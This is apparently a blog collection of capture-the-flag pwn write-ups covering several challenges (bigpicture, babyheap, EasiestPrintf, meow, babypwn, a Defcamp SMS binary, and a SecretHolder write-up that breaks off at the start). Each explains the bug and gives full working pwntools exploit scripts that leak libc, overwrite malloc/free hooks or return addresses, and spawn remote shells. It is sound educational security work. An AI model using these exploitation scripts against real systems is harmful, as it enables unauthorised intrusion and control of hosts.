Size matters!
Running at bigpicture.chal.pwning.xxx:420
Download

TL;DR

• Request a large buffer which will be allocated at somewhere after the libc pages.
• The offset between the buffer and the libc is fixed.
• Use negative indexes to leak the base address of the libc.
• Set __free_hook to system.
• Set the content of the buffer to /bin/sh.
• free(buffer) becomes system("/bin/sh").

Exploit

This challenge comes with a source code bigpicture.c. What it does is, first, allocating a 2D array with the height and the width we choose. Then, we can set the content of any element of the array. If an element has already been set, it will print out its value. Finally, it will draw the 2D array on the exit.

The vulnerability is that the index of the element to be set can be negative.

1
2
3
4

if(x >= width || y >= height) {
    puts("out of bounds!");
    return;
}

Therefore, we can leak or set the content before the buffer, which is usually in the heap. Next, here comes the essential part of the challenge. If the buffer located in the heap, the only memory pages we can access belong to the main program. Because of the full RELRO protection of this binary, we cannot hijack the control flow through overriding a GOT entry. Even worst, we don’t know the exact offset between the buffer and the main program. However, if we request a large enough buffer (about 128kb), it will be allocated by mmap. This buffer will be placed after the libc.so.6, and the offset between these two memory pages is fixed. So, we can leak the libc address and override the __free_hook to divert the control flow. Now we know why the description said “Size matters!”

My exploit script is as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

from pwn import *
from time import sleep

context.terminal = ['tmux', 'splitw', '-h']

# remote
got_offset = 0x12afa8
free_hook_offset = 0x128868

# local
got_offset = 0x130fa8
free_hook_offset = 0x12e868

libc_offset = 0x1f876

libc = ELF('./libc-2.23.so')

# r = process('./bigpicture', env={'LD_PRELOAD': './libc-2.23.so'})
# gdb.attach(r, '''
# c
# ''')
r = remote('bigpicture.chal.pwning.xxx', 420)

print r.recvuntil('How big? ')
r.sendline('1000 x 1000')

# leak libc address
print r.recvuntil('> ')
address_in_libc = ''
for i in range(6):
    r.sendline('0 , -' + str(got_offset - i) + ' , A')
    data = r.recvuntil('> ')
    print data
    address_in_libc += data[12]

address_in_libc += '\x00\x00'
address_in_libc = u64(address_in_libc)
log.critical('address in libc: ' + hex(address_in_libc))
libc.address = address_in_libc - libc_offset
log.critical('libc base address: ' + hex(libc.address))
log.critical('system address: ' + hex(libc.symbols['system']))

# override __free_hook to system
for i, byte in enumerate(p64(libc.symbols['system'])[:6]):
    r.sendline('0 , -' + str(free_hook_offset - i) + ' , ' + byte)
    print r.recvuntil('> ')

# write "/bin/sh" to the buffer to be freed
for i, byte in enumerate('/bin/sh'):
    r.sendline('0 , ' + str(i) + ' , ' + byte)
    print r.recvuntil('> ')

# trigger free
r.sendline('quit')

r.interactive()

I leak an address in the GOT section of the libc to calculate the base address of the libc. Then, I override __free_hook to system and the content of the buffer to /bin/sh. Now freeing the buffer at the end of the program becomes system("/bin/sh"). By the way, the offsets between the buffer and the libc of the remote machine were calculated by leaking some memory content and comparing then with the local one.

Flag: PCTF{draw_me_like_one_of_your_pwn200s}

Note

• What I’ve learned:
  I know that the offsets between shared libraries are fixed. Through this challenge, I further confirm that the offsets between mmaped pages are also fixed.
• Some references of ASLR:
  • Exploiting Linux and PaX ASLR’s weaknesses on 32- and 64-bit systems
  • On the Effectiveness of Full-ASLR on 64-bit Linux

Let’s practice some basic heap techniques in 2017 together!
202.120.7.218:2017
libc.so.6

TL;DR

• Overlapping two chunks to leak the address of the libc.
• Use fastbin corruption to override the value of __malloc_hook to one-gadget.

Exploit

===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

This is a classical pwn challenge of heap with four kinds of operations: malloc, free, read, write. The only difference is that it use calloc, which initialzes the memory to zero, instead of the usual malloc. The challenge further increases its difficulty in two ways. First, it enables PIE and put the array of the malloc pointers in a random mmap area. Therefore, we do not know the address to launch the “unsafe unlink” attack. Second, it also enables RELRO so that we cannot change the value of GOT table to hijack the control flow. In contrast, the vulnerability is evident. We can fill the arbitrary length of input to the heap and overflow anything after that.

To solve this challenge, I first leak the address of the libc by overlapping two chunks as follows (also a common attack).

Then, I override the fd pointer of a freed fastbin chunk to somewhere before __malloc_hook which has a valid “chunk size.” Finally, after two malloc of the proper size, I get a chunk which allows me to change the __malloc_hook to one-gadget.

Note that the checking of the chunk size of the fastbin in malloc.c is not strict. It only checks whether the size divided by 16 (64bit) equals to the same index. There is no requirement of alignment, and it views the size as a 4-byte integer. Therefore, in this challenge, I took 0x7f as the chunk size of a 0x70 fastbin chunk.

1
2
3
4
5
6

#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
  {
    errstr = "malloc(): memory corruption (fast)";

The full script is as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86_64'

libc = ELF('./libc.so.6_b86ec517ee44b2d6c03096e0518c72a1')
libc.symbols['one_gadget'] = 0x41374
bin_offset = 0x3a5678

def allocate(size):
    print r.recvuntil('Command: ')
    r.sendline('1')
    print r.recvuntil('Size: ')
    r.sendline(str(size))

def fill(index, content):
    print r.recvuntil('Command: ')
    r.sendline('2')
    print r.recvuntil('Index: ')
    r.sendline(str(index))
    print r.recvuntil('Size: ')
    r.sendline(str(len(content)))
    print r.recvuntil('Content: ')
    r.send(content)

def free(index):
    print r.recvuntil('Command: ')
    r.sendline('3')
    print r.recvuntil('Index: ')
    r.sendline(str(index))

def dump(index):
    print r.recvuntil('Command: ')
    r.sendline('4')
    print r.recvuntil('Index: ')
    r.sendline(str(index))
    print r.recvuntil('Content: \n')
    data = r.recvline()
    print data
    return data


# r = process(
    # './babyheap_69a42acd160ab67a68047ca3f9c390b9',
    # env={ 'LD_PRELOAD': './libc.so.6_b86ec517ee44b2d6c03096e0518c72a1' }
# )
# gdb.attach(r, '''
# c
# ''')
r = remote('202.120.7.218', 2017)

# create overlapping chunks by shrinking a free chunk's size
allocate(16) #0
allocate(480) #1
allocate(512) #2
allocate(512) #3
free(1)
fill(0, flat('A'*24, '\x30')) # shrink the chunk
allocate(128) #1
allocate(96) #4
free(1)
free(2)

# overlap the header of the remainder chunk with the forgetten chunk to
# leak the address of libc
allocate(128) #1
data = dump(4)
bin_address = u64(data[:8])
log.critical(hex(bin_address))
libc.address = bin_address - bin_offset
log.critical(hex(libc.address))

# fastbin corruption
# get a chunk just before __malloc_hook in the second allocation
fill(1, flat('B'*0x80, 0x90, 0x70)) # fix chunk meta data
free(4)
fill(1, flat('B'*0x80, 0x90, 0x70, libc.symbols['__malloc_hook']-0x23)) # override fd
allocate(96) #2
allocate(96) #4
fill(4, flat('\x00'*19, libc.symbols['one_gadget']))

# trigger __malloc_hook
allocate(96)

r.interactive()

Flag: flag{you_are_now_a_qualified_heap_beginner_in_2017}

Warm UP! A traditional Format String Attack.
It’s running on Debian 8.
nc 202.120.7.210 12321
EasiestPrintf
libc.so.6

TL;DR

• Leak the libc address from the free arbitrary read.
• Use format string to modify __free_hook to the one-gadget and trigger it by a format placeholder with large width field.

Exploit

This is a simple binary. After some setup, it first gives us an arbitrary read and then a 159-byte format string vulnerability. The problem is that this is a Full RELRO binary, so we can not change the GOT value to hijack the control flow. Moreover, because the printf is immediately followed by an _exit, we have to exploit in a single format string.

Several ideas come to my mind.

1. Because it is a 32-bit binary, maybe we can brute force the return address of printf.
2. Exploit the exit function, maybe something like atexit function pointer is exploitable.
3. Change the value of __malloc_hook or __free_hook and find a way to trigger them in printf.

For the first idea, the search space is large, and both the manual randomization of stack through alloca and sleep(3) at the beginning of the binary discourage this solution.

For the second idea, atexit function pointers are encrypted, and this binary use _exit instead of exit, which won’t trigger atexit functions anyway.

Finally, the third idea works out. By searching malloc in vfprintf.c, it seems that we can trigger malloc and the following free if the width field of the format placeholder is large enough.

1
2
3
4
5

if (width >= WORK_BUFFER_SIZE - 32)
  {
    size_t needed = ((size_t) width + 32) * sizeof (CHAR_T);
    ...
    workstart = (CHAR_T *) malloc (needed);

Although it took me quite a while to come up with the solution, the final exploitation is short and straightforward.

1. Leak the libc address from the arbitrary read.
2. Construct a format string with
   1. the %hhn trick to modify __free_hook to the one-gadget.
   2. %100000c to trigger malloc and free.

I choose __free_hook instead of __malloc_hook because the address of __malloc_hook contains a \x0a byte which will break the reading of the input.

The full script is as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'critical'

libc = ELF('./libc.so.6_0ed9bad239c74870ed2db31c735132ce')
binary = ELF('./EasiestPrintf')
read_got = binary.symbols['_GLOBAL_OFFSET_TABLE_'] + 12
libc.symbols['one_gadget'] = 0x3E297

def exec_fmt(payload):
    p = binary.process(env={ 'LD_PRELOAD': libc.path })
    p.sendline(str(read_got))
    p.recvuntil('Good Bye\n')
    p.sendline(payload)
    return p.recvall()

fmt = FmtStr(exec_fmt)
log.critical('offset: ' + str(fmt.offset))


# r = binary.process(env={ 'LD_PRELOAD': libc.path })
# gdb.attach(r, '''
# c
# ''')
r = remote('202.120.7.210', 12321)

print r.recvline()

# Leak the libc base address.
r.sendline(str(read_got))
data = r.recvline()
print data
read_addr = int(data, 16)
libc.address = read_addr - libc.symbols['read']
log.critical('libc_base: ' + hex(libc.address))
log.critical('__free_hook: ' + hex(libc.symbols['__free_hook']))
log.critical('one gadget: ' + hex(libc.symbols['one_gadget']))

# Use format string to override the value of __free_hook to one gadget and
# trigger free by a long width format string.
print r.recvline()
r.sendline(fmtstr_payload(fmt.offset, { libc.symbols['__free_hook']: libc.symbols['one_gadget'] }) + '%100000c')
r.interactive()

Flag: flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}

Note

• What I’ve learned:
  • Both printf and scanf can trigger malloc and free.
• There are couples of solutions for this challenge. See this video for more details.

Meow~Meow~
http://ctf.codegate.org/z/meow
nc 110.10.212.139 50410

TL;DR

• Observe how user’s input is used to “decrypt” the hard coded data
• Guess that the “decrypted” data should start with push rbp; mov rbp, rsp; and end with leave; ret;
• Brute force md5 with the constraints found above
• Use the ROP gadgets that author deliberately provide to launch a shell

Exploit

1
2
3
4
5
6

*(_QWORD *)s2 = 0x618F652224A9469FLL;
*(_QWORD *)&s2[8] = 1493362804178947496LL;
MD5_Init(&v2);
MD5_Update(&v2, input, 10LL);
MD5_Final(&s1, &v2);
return strncmp(&s1, s2, 0x10uLL) != 0;

At the very beginning of the binary, it asks us to input a 10 bytes string of which md5 is equal to 9f46a92422658f61a80ddee78e7db914… I tried searching this md5 on some online database but got no answer. Since it is also impossible to brute force an 80 bits input, I was totally stuck at this stage.

When I was going to give up, one of my teammates reminded me that the input is also being used in the latter part of the program. Maybe we could find other constraints to reduce the search space of the input. It turned out to be the right direction, so let’s see what the remaining program does.

1
2
3
4
5

sub_D1D((__int64)&v12, (__int64)&input, v15);
sub_D1D((__int64)&v5, (__int64)&input, v14);
sub_1467((void **)&qword_2020B8, v17, v15, &v12);
sub_1467((void **)&unk_2020C0, v16, v14, &v5);
sub_C45();

Roughly speaking, there are two segments of data. They are both operated with some sort of “decryption” in sub_D1D with our input as the key and then copied to a mmaped memory with the execute permission in sub_1467. Finally, in sub_C45, we can choose option 3 to jump to the first segment of the decrypted data and execute them as instructions.

Now, we know that at least the first segment of data should be decrypted to legal x86 instructions. Let’s see what sub_D1D actually does.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

v14 = 0;
j = 0;
v19 = 4;
v18 = 5;
v17 = 3;
v13 = 10;
v12 = 5;
v11 = 7;
v16 = 0;
v15 = a3;
v9 = 0LL;
v10 = 0;
v7 = 0;
v8 = 0;
v4 = 0;
v5 = 0;
v6 = 0;
for ( i = 0; a3 - a3 % v11 > i; i += v11 )
{
  for ( j = 0; j < v17; ++j )
    *((_BYTE *)&v4 + j) = *(_BYTE *)(j + v16 + initial_content);
  for ( j = 0; v11 - v17 > j; ++j )
    *((_BYTE *)&v4 + j + v17) = *(_BYTE *)(v17 + v15 - v11 + j + initial_content);
  for ( j = 0; j < v11; ++j )
    *((_BYTE *)&v4 + j) ^= *(_BYTE *)(j + user_input);  // user input
  for ( j = 0; j < v17; ++j )
    *(_BYTE *)(initial_content + j + v16) = *((_BYTE *)&v4 + j + v11 - v17);
  for ( j = 0; v11 - v17 > j; ++j )
    *(_BYTE *)(initial_content + v17 + v15 - v11 + j) = *((_BYTE *)&v4 + j);
  v16 += v17;
  v15 -= v11 - v17;
  v17 += 2;
  if ( v17 == 9 )
    v17 = 3;
}
v16 = 0;
v15 = a3;
for ( i = 0; a3 - a3 % v12 > i; i += v12 )
{
  for ( j = 0; j < v18; ++j )
    *((_BYTE *)&v7 + j) = *(_BYTE *)(j + v16 + initial_content);
  for ( j = 0; v12 - v18 > j; ++j )
    *((_BYTE *)&v7 + j + v18) = *(_BYTE *)(v18 + v15 - v12 + j + initial_content);
  for ( j = 0; j < v12; ++j )
    *((_BYTE *)&v7 + j) ^= *(_BYTE *)(2 * j + 1LL + user_input);  // user input
  for ( j = 0; j < v18; ++j )
    *(_BYTE *)(initial_content + j + v16) = *((_BYTE *)&v7 + j + v12 - v18);
  for ( j = 0; v12 - v18 > j; ++j )
    *(_BYTE *)(initial_content + v18 + v15 - v12 + j) = *((_BYTE *)&v7 + j);
  v16 += v18;
  v15 -= v12 - v18--;
  if ( !v18 )
    v18 = 5;
}
v16 = 0;
v15 = a3;
for ( i = 0; a3 - a3 % v13 > i; i += v13 )
{
  for ( j = 0; j < v19; ++j )
    *((_BYTE *)&v9 + j) = *(_BYTE *)(j + v16 + initial_content);
  for ( j = 0; v13 - v19 > j; ++j )
    *((_BYTE *)&v9 + j + v19) = *(_BYTE *)(v19 + v15 - v13 + j + initial_content);
  for ( j = 0; j < v13; ++j )
    *((_BYTE *)&v9 + j) ^= *(_BYTE *)(j + user_input);  // user input
  for ( j = 0; j < v19; ++j )
    *(_BYTE *)(initial_content + j + v16) = *((_BYTE *)&v9 + j + v13 - v19);
  for ( j = 0; v13 - v19 > j; ++j )
    *(_BYTE *)(initial_content + v19 + v15 - v13 + j) = *((_BYTE *)&v9 + j);
  v16 += v19;
  v15 -= v13 - v19++;
  if ( v19 == 9 )
    v19 = 4;
}
v16 = 0;
v15 = a3;
v19 = 4;
for ( i = 0; a3 - a3 % v13 > i; i += v13 )
{
  for ( j = 0; j < v19; ++j )
    *((_BYTE *)&v9 + j) = *(_BYTE *)(j + v16 + initial_content);
  for ( j = 0; v13 - v19 > j; ++j )
    *((_BYTE *)&v9 + j + v19) = *(_BYTE *)(v19 + v15 - v13 + j + initial_content);
  for ( j = 0; j < v13; ++j )
    *((_BYTE *)&v9 + j) ^= *(_BYTE *)(j + user_input);  // user input
  for ( j = 0; j < v19; ++j )
    *(_BYTE *)(initial_content + j + v16) = *((_BYTE *)&v9 + j + v13 - v19);
  for ( j = 0; v13 - v19 > j; ++j )
    *(_BYTE *)(initial_content + v19 + v15 - v13 + j) = *((_BYTE *)&v9 + j);
  v16 += v19;
  v15 -= v13 - v19++;
  if ( v19 == 9 )
    v19 = 4;
}

The decompiled code is quite complicated, but we can see that the user’s input is only involved in some xor operations. Maybe we can find out what this code snippet does by observing the input and the output of it. To do this, I first patched the md5 checking and input '\x00'*10 to see what is the effect without user’s input through gdb.

input:
f1 64 72 4a 4f 48 4d ba 77 73 1d 34 f5 af b8 0f
24 56 11 65 47 a3 2f 73 a4 56 4f 70 4a 13 57 9c
3f 6f 06 61 40 90 af 39 10 29 34 c3 00 7a 40 3d
4e 3f 0e 2a 2f 20 7f 73 89 7d 4b 1d 09 aa d0 00
21 89 4d 2a 67 7c 18 3b 39 f2 8d 1c a7 71 57 2e
31 14 67 48 3c 7d af 70 ae 10 31 68 d1 26 05 c8
25 f2 62 f5 5d 38 34 f2 20 0e 7e 9f fb 57 72 26
57 67 15 10 15 13 b9 3e 79 89 5d 24 12 01 98 7b
18 25 e0 df 7c 24 1b 2d 44 b0 10 3d 57 3d 62 b4
21 1d 3e d1 10 d7 45 74 96 2b 6d 3b ed 10 00 67
31 df 6c b8 86 1a 7c 6b 64 78 c6 37 76 e6 61 a0
ad be 4c ba a7 0d

output:
0d 48 f5 af 4d ad be 77 4c a4 56 34 64 72 4f 37
31 6f 70 e6 61 a0 11 9c 3f 06 13 3d 73 65 78 61
34 c3 40 86 1a af 40 7f 73 29 3f 7a 6d 67 68 d1
7d df 6c b8 71 2e 1c 62 1d 31 20 10 10 89 39 f2
4d 96 2b 67 05 3c 7d 3b 44 26 7e d1 01 98 70 d7
45 74 79 25 24 7b 10 24 48 89 1d c8 34 f2 25 57
3d 62 7c 26 57 38 3e df 13 b0 10 b9 10 3d 72 1b
20 2d 67 15 15 f5 5d f2 b4 21 af 12 31 14 3e 9f
57 ae 18 67 8d 5d e0 fb 0e 7c 18 2a 3b ed 89 a7
0e 2a 00 4e aa 4b 57 2f 00 00 21 09 d0 39 10 90
6b 64 4f 7c 47 a3 c6 f1 76 4a 57 2f b8 0f 24 56
4a 73 1d ba ba a7

If we observe the input and the output carefully, we would find that the code is only shuffling the input. Then, it is time to exam the effect of the user’s input. Using the same procedure, we can easily find that every byte of user’s input is xor with some fixed bytes of data, so I wrote a script to visualize this operation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

from pwn import *
from termcolor import colored
import re

context.log_level = 'error'

gdb_prompt = '\x01\x1b[1m\x1b[31m\x02pwndbg> \x01\x1b[0m\x1b[1m\x1b[0m\x02'
decrypted = []

# Launch the process and gdb. Then, dump the data after decryption.
for i in range(11):
    gdb = process(['gdb', '-q'])
    gdb.recvuntil(gdb_prompt, drop=True)

    meow = process('meow')
    gdb.sendline('attach ' + str(meow.proc.pid))
    gdb.recvuntil(gdb_prompt, drop=True)

    gdb.sendline('b *0x55555555568b')
    gdb.recvuntil(gdb_prompt, drop=True)

    key = bytearray('\x00'*10)
    if i != 0:
        key[i-1] = '\x01'
    meow.sendline(key)

    gdb.sendline('continue')
    gdb.recvuntil(gdb_prompt, drop=True)

    gdb.sendline('db $rdi 182')
    decrypted.append(re.findall(r'\b\S\S\b', gdb.recvuntil(gdb_prompt, drop=True)))

    gdb.close()
    meow.close()

# Compare the original data with data decrypted by differnt keys.
print '    0  1  2  3  4  5  6  7  8  9'
for i in range(len(decrypted[0])):
    print decrypted[0][i],
    for j in range(1, 11):
        if decrypted[0][i] != decrypted[j][i]:
            print colored(decrypted[j][i], 'red'),
        else:
            print decrypted[j][i],
    print ''

The output would looks like (only portion):

Data affected by the nth byte of user’s input are highlighted. Now, we know how the “decryption” works. If we also know what the decrypted code should be, we can derive the input inversely. Unfortunately, we have no clue about the decrypted code. However, it is reasonable to guess that the prologue and epilogue should be the standard push rbp; mov rbp, rsp; and leave; ret;. With only these bytes of information, we can establish several relations between bytes of user’s input and shrink the search space of md5 to a small range. (By the way, these relations suggest that the MSB of the xor of any two bytes of user’s input is 0, so I boldly guess that the input is printable.)

I wrote a C code to brute force the correct user’s input, which is $W337k!++y.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/md5.h>

const char* TARGET = "\x9f\x46\xa9\x24\x22\x65\x8f\x61\xa8\x0d\xde\xe7\x8e\x7d\xb9\x14";

int main() {
  unsigned char result[MD5_DIGEST_LENGTH];

  char string[11] = {0};

  for(unsigned char i = 0x20; i <= 0x7e; i++) {
      printf("input[2] = 0x%02x\n", i);
      for(unsigned char j = 0x20; j <= 0x7e; j++) {
          for(unsigned char k = 0x20; k <= 0x7e; k++) {
              for(unsigned char l = 0x20; l <= 0x7e; l++) {
                  string[2] = i;
                  string[5] = string[2] ^ 0b01011000;
                  string[3] = string[2];
                  string[9] = string[3] ^ 0b01001010;
                  string[1] = string[3] ^ 0b01100100;
                  string[8] = string[1] ^ 0b01111100;
                  string[0] = string[1] ^ 0b01110011;

                  string[4] = j;
                  string[6] = k;
                  string[7] = l;

                  MD5(string, 10, result);
                  if(strncmp(result, TARGET, 16) == 0) {
                      printf("%s\n", string);
                  }
              }
          }
      }
  }

  return 0;
}

After providing the correct input, the challenge is still not finished.

***** hello? *****
>>> $W337k!++y
- What kind of pet would you like to have?
- Select the number of pet!
1. angelfish
2. bear
3. cat
4. dog
5. I don't want pets
# number = 3
Did you choose a cat?????
What type of cat would you prefer? '0'
>>>

The decrypted code is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

push   rbp
mov    rbp,rsp
sub    rsp,0x60
movabs rax,0x20756f7920646944

mov    QWORD PTR [rbp-0x60],rax
movabs rax,0x612065736f6f6863

mov    QWORD PTR [rbp-0x58],rax
movabs rax,0x3f3f3f3f74616320

mov    QWORD PTR [rbp-0x50],rax
movabs rax,0x7420746168570a3f

mov    QWORD PTR [rbp-0x48],rax
movabs rax,0x6320666f20657079

mov    QWORD PTR [rbp-0x40],rax
movabs rax,0x646c756f77207461

mov    QWORD PTR [rbp-0x38],rax
movabs rax,0x65727020756f7920

mov    QWORD PTR [rbp-0x30],rax
movabs rax,0x273027203f726566

mov    QWORD PTR [rbp-0x28],rax
mov    DWORD PTR [rbp-0x20],0x3e3e3e0a
mov    BYTE PTR [rbp-0x1c],0x0
lea    rax,[rbp-0x60]
mov    edx,0x44
mov    rsi,rax
mov    edi,0x1
mov    eax,0x1
syscall
lea    rax,[rbp+0x8]
mov    edx,0x18
mov    rsi,rax
mov    edi,0x0
mov    eax,0x0
syscall
nop
leave
ret

It reads 0x18 bytes to the return address just before returning, which means we have a three-gadget ROP. Since this is a PIE binary, and we don’t have any information leak, and the ROP chain is extremely short, it seems that we can basically do nothing. Nevertheless, the author of the program has deliberately put the exact three gadgets that we need in the second part of the data. Because the second part of the data is located in a mmaped memory of which address is known, we can easily use them to launch the shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

push   rbp
mov    rbp, rsp
sub    rsp, 0x10
mov    qword ptr [rbp - 8], rdi
mov    rax, qword ptr [rbp - 8]
mov    edx, 0
mov    esi, 0
mov    rdi, rax
mov    eax, 0x3b
syscall
nop
leave
ret
.byte 0x00
.byte 0x00
.ascii '/bin/sh'
.byte 0x00
.byte 0x00
.byte 0x00
.byte 0x00
.byte 0x00
.byte 0x00
pop    rdi
ret

The exploit script is as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

from pwn import *
from time import sleep

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86_64'

pop_rdi = 0x14036
bin_sh = 0x14029
execve = 0x14000

#  r = process('./meow')
#  gdb.attach(r, '''
#  ''')
r = remote('110.10.212.139', 50410)

r.sendline('$W337k!++y')
print r.recvuntil('= ')
r.sendline('3')
print r.recvuntil('>>>')
r.send(flat(pop_rdi, bin_sh, execve))

r.interactive()

Flag: flag{what a lovely kitty!}

BabyPwn~~~
http://ctf.codegate.org/z/babypwn
nc 110.10.212.130 8888
nc 110.10.212.130 8889

TL;DR

• Leak the canary
• Use ROP to leak the address of libc functions
• Find the libc version by libcdb.com
• Use ROP to dup2 dup2 system

Exploit

babypwn is a TCP server. If we connect to it, it is basically a echo server.

▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒
▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒
===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu > 1
Input Your Message : 123
123

===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu > 2
Input Your Message : 123

321
===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu >

The bug is a simple buffer overflow. At line 10 of the following code snippet, it reads 0x64 bytes to a buffer of 0x28 bytes.

1
2
3
4
5
6
7
8
9
10
11

send_str("\n===============================\n");
send_str("1. Echo\n");
send_str("2. Reverse Echo\n");
send_str("3. Exit\n");
send_str("===============================\n");
v1 = get_num();
if ( v1 != 1 )
  break;
send_str("Input Your Message : ");
recv_str(&v2, 0x64u);  // BUG
send_str(&v2);

Although the return address is protected by a canary, this program doesn’t append a null byte when receiving data and later return all the data before a null byte. Therefore, we can concatenate our input with the canary and leak it in the response of server. With the knowledge of canary, it is trivial to override the return address and launch a ROP attack.

I want to make use of the system to spawn a shell, so my next step is to leak the address of the libc. Using ROP chain such as send, padding, GOT of atoi, I can leak the address of several libc functions. Finally, I need to know the libc version of the remote to calculate the correct offset of system. At first, I used libc-database but couldn’t find the matched version. Then, I try libcdb.com and luckily found the target libc. Now, I can use the standard dup2 dup2 system ROP chain to launch a shell and get the flag.

The whole exploit is as follows. (Note that since it is a fork server, the canary and the libc base won’t change unless the server is relaunched. Therefore, I hardcoded the canary and libc functions in the script.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

from pwn import *
from time import sleep

send_str = 0x80488B1
print_goodbye = 0x8048C23
got_atoi = 0x804B050
pop_pop_ret = 0x08048b84

## local
# canary = '\x00\xfa\xe4$'
# libc_base = 0xf7533000
# system = 0xf756e020
# dup2 = 0xf760b8f0
# bin_sh = 0xf769260f

# remote
canary = '\x00"\x8d3'
libc_base = 0xf756f000
system = 0xf75af190
bin_sh = 0xf76cfa24
dup2 = 0xf764a590

r = remote('110.10.212.130', 8888)
# r = remote('127.0.0.1', 8181)

print r.recvuntil('> ')
r.sendline('1')
print r.recvuntil(': ')
r.send(flat('A'*40, canary, 'A'*12,   # padding
            dup2, pop_pop_ret, 4, 0,  # dup2(4, 0)
            dup2, pop_pop_ret, 4, 1,  # dup2(4, 1)
            system, 0, bin_sh))       # system("/bin/sh")

print repr(r.recvuntil('> '))
r.sendline('3')

r.interactive()

## leak the address of libc
# r.send(flat('A'*40, canary, 'A'*12, send_str, print_goodbye, got_atoi))
# print repr(r.recvuntil('> '))
# r.sendline('3')
# data = r.recvall()
# print repr(data)
# print 'atoi: ' + hex(u32(data[:4]))
# print 'socket: ' + hex(u32(data[4:8]))
# print 'sigaction: ' + hex(u32(data[8:12]))

Flag: FLAG{Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^}

Note

• I spent some unnecessary work on finding the address of system because I didn’t see that system was already in the GOT table. It was deliberately put in the code that no one actually reference it. It was even used to system("echo 'not easy to see'") to indicate this fact.

nc 45.32.157.65 65022
200.bin

TL;DR

• Overflow the length variable.
• Overflow the return address to the built-in get shell function (Only overflow least two bytes to bypass ASLR).

Exploit

--------------------------------------------
|   Welcome to Defcamp SMS service          |
--------------------------------------------
Enter your name
> AAA
Hi, AAA
SMS our leader
> AAA
SMS delivered

The binary let us input our name and a message. The memory layout looks like:

Stack:
| SMS content (140 bytes) | name (40 bytes) | SMS length (1 byte) |

The vulnerability is that when reading a name of 40 bytes, the correct for loop should be:

for(int i = 0; i < 40; i++)
    ...

instead of

for(int i = 0; i <= 40; i++)
    ...

which causes a one byte overflow, and let us further overflow the return address when reading the SMS content. The target of the return is a built-in get shell function frontdoor. However, this program is PIE enabled, so we don’t know the exact address of frontdoor. We can overcome it by only overriding the least two bytes of the return address. Since the least 12 bits are fixed, we are only guessing 4 bits of the address.

The complete script is as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from pwn import *
from time import sleep

context.terminal = ['tmux', 'splitw', '-h']

for i in range(256):
    #  r = process('./200.bin')
    #  gdb.attach(r, '''
    #  c
    #  ''')
    r = remote('45.32.157.65', 65022)

    sleep(0.1)
    print r.recv()
    r.sendline('A'*40 + '\xca')
    sleep(0.1)
    print r.recv()
    r.sendline('A'*200 + '\x01\x49')
    try:
        r.sendline('cat flag\x00')
        sleep(0.5)
        print r.recv()
    except:
        print 'fail'

    r.close()

Flag: DCTF{35c60be438186d13fdd2c9db9d3e33b7}

Break the Secret Holder and find the secret.
nc 52.68.31.117 5566
SecretHolder

TL;DR

• Free the chunk of others to create use after free.
• Overlapping three chunks to overwrite chunk headers.
• Unsafe unlink.
• Change free GOT entry to puts PLT address to leak libc base.
• Change atoi GOT entry to system in libc to get the shell.

Exploit

Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret

The program allows us to conduct three kinds of operations on three different sizes of secrets.

Three operations:

1. Keep secret: calloc corresponding size of memory and read some input to it.
